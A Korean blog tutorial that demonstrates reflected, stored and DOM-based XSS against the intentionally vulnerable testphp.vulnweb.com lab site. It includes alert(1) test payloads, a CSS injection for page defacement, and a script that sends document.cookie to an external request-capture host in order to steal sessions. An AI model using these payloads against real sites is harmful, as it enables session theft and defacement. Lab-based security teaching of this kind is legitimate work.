웹 해킹 | WEB HACKING

XSS(Cross Site Scripting) | 공격 - [VULNWEB]

건우Sec 2025. 1. 10. 21:59

XSS(Cross Site Scripting) 이란?

XSS(Cross Site Scripting) 이란 웹 서버가 사용자가 입력한 데이터를 제대로 검증하지 않아서 생기는 취약점이다

악성 스크립트 즉 자바스크립트로 된 코드로 먼저 취약점을 식별한다

 

이로 인해 사용자가 예기치 못하게 피싱링크로 유도하거나 회원정보 탈취 , 웹 변조 (DEFACE) 등등 

<script>alert(1)</script>

이건 자바스크립트로 된 페이로드 이다 

 

이 페이로드 로 웹 서버 입력필드에 삽입을 하면 웹 서버는 태그에 HTML 로 인식을 해 그대로 (1) 을 팝업창으로 표시한다

 

xss 는 크게 3가지로 분류 한다

 

Reflected XSS 반사

 

해커는 먼저 악성 스크립트가 담긴 URL 을 사용자에게 보냅니다 사용자는 피싱 링크를 클릭해 웹 서버로 이동합니다

 

웹 서버는 악성 스크립트가 삽입되 이를 그대로 읽어 세션 쿠키를 해커에게 보냅니다

 

이 세션쿠키 를 사용해 해커는 사용자에 회원정보를 탈취할수 있습니다

 

http://testphp.vulnweb.com/login.php

 

login page

If you are already registered please enter your login information below: You can also signup here. Signup disabled. Please use the username test and the password test. Warning: This is not a real shop. This is an example PHP application, which is intention

testphp.vulnweb.com

 

 

Reflected XSS 에 취약한 서버가 있습니다

 

search art 라는 입력필드가 보입니다

 

여기에 위에 배운 내용으로 실습해 봅시다

 

 

<script>alert(1)</script>

 

 

성공적으로 경고창 1 이 결과값으로 출력됩니다

 

이와 다음으로 

 

https://tools.dreamhack.games/

 

dreamhack-tools

 

tools.dreamhack.games

 

드림핵에서 제공하는 툴을 이용하여

 

세션 쿠키를 탈취하는 악성 스크립트를 제작해 봅시다

 

 

 

<script>location.href = "http://roqvxvg.request.dreamhack.games/?memo=" + document.cookie;</script>

 

location.href 로 저 악성 스크립트 서버로 URL 를 이동하여

 

document.cookie 로 세션쿠키를 얻어내는 방식입니다

 

 

현재 아이디 test 패스워드 test 로 로그인한 상태입니다

 

 

 

URL 이 해커에 서버로 변경이 되였습니다

 

 

 

 

이로 인하여 해커는 사용자가 아이디는 test 패스워드는 test 라는걸 알아냈습니다

Stored XSS 저장형

주로 게시물에서 시작됩니다

 

웹 변조 (DEFACE) 공격을 할수 있으며 피싱링크를 게시물에 올려 세션 쿠키를 탈취할수 있습니다

 

<style> div { background-image: url('https://ichef.bbci.co.uk/ace/ws/640/cpsprodpb/52F3/production/_114953212_anon.png.webp'); } </style>

 

 

게시물에 바탕화면 이미지를 바꾸는 자바스크립트 형식을 넣어 웹 페이지를 변조시킬수 있습니다

 

 

저장형이기 떄문에 지속되어 큰 피해를 입힐수 있습니다

 

DOM 기반 XSS (DOM-based XSS)

DOM-based XSS 클라이언트 측에서 발생하는 XSS 취약점입니다. 즉, 서버가 사용자 입력을 처리하는 것이 아닌 

 

URL 파라미터 사용자 입력(예: 쿼리 파라미터, URL 해시, 쿠키 등) 을 클라이언트 측 JavaScript 코드가 받아 처리합니다.

 

 

상점 페이지로 가줍니다

 

http://testphp.vulnweb.com/listproducts.php?cat=1

 

pictures

The shore Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec molestie. Sed aliquam sem ut arcu. painted by: r4w8173 comment on this picture Mistery Donec molestie. Sed aliquam sem ut arcu. painted by: r4w8173 comment on this picture The univer

testphp.vulnweb.com

 

여기에서 

 

http://testphp.vulnweb.com/listproducts.php?cat=<script>alert(1)</script>

 

로 바꿔보겠습니다

 

성공적으로 결과값 1이 출력됬습니다